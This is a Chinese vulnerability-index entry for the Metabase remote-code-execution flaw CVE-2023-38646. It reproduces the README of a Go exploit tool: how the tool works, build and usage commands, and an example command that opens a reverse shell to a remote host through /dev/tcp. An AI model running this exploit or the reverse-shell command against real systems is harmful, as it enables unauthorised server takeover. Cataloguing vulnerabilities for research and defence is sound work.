关联漏洞
标题:
Metabase 安全漏洞
(CVE-2023-38646)
描述:Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以运行该服务的权限在服务器上执行任意命令。
描述
CVE-2023-38646 Metabase 0.46.6 exploit
介绍
# CVE-2023-38646
CVE-2023-38646 Metabase 0.46.6 exploit
This tool exploits a vulnerability (CVE-2023-38646) in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string.
## Overview
The tool:
- Fetches the setup token from the target URL.
- Base64 encodes the supplied command.
- Constructs the payload with the encoded command.
- Sends the payload to exploit the vulnerability.
## Installation
Clone the repository:
```
git clone https://github.com/SUT0L/CVE-2023-38646.git
cd CVE-2023-38646
go build -o exploit
chmod +x exploit
```
## Usage
```
./exploit --url [TARGET_URL] --command [COMMAND] [--proxy PROXY_URL]
```
TARGET_URL: The URL of the platform to be scanned and exploited.
COMMAND: The command to be executed on the target.
PROXY_URL (Optional): The URL of the proxy server (e.g., http://127.0.0.1:8080). If not provided, no proxy will be used.
## Example with a sh reverse shell
```
./exploit --url https://example.com --command 'sh -i >& /dev/tcp/10.0.0.1/4444 0>&1' --proxy http://127.0.0.1:8080
```
## Disclaimer
This tool is intended for educational and research purposes only. Always ensure you have proper authorization before scanning or exploiting any target. Misuse of this tool is strictly against the developer's intention and could be illegal.
## Feedback & Contributions
Feel free to open issues for any feedback, bugs, or feature requests. Pull requests are always welcome!
文件快照
[4.0K] /data/pocs/8e29228d7aea1bbfa7450829f616ff4c107b3f76
├── [ 31] go.mod
├── [4.8K] main.go
└── [1.5K] README.md
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。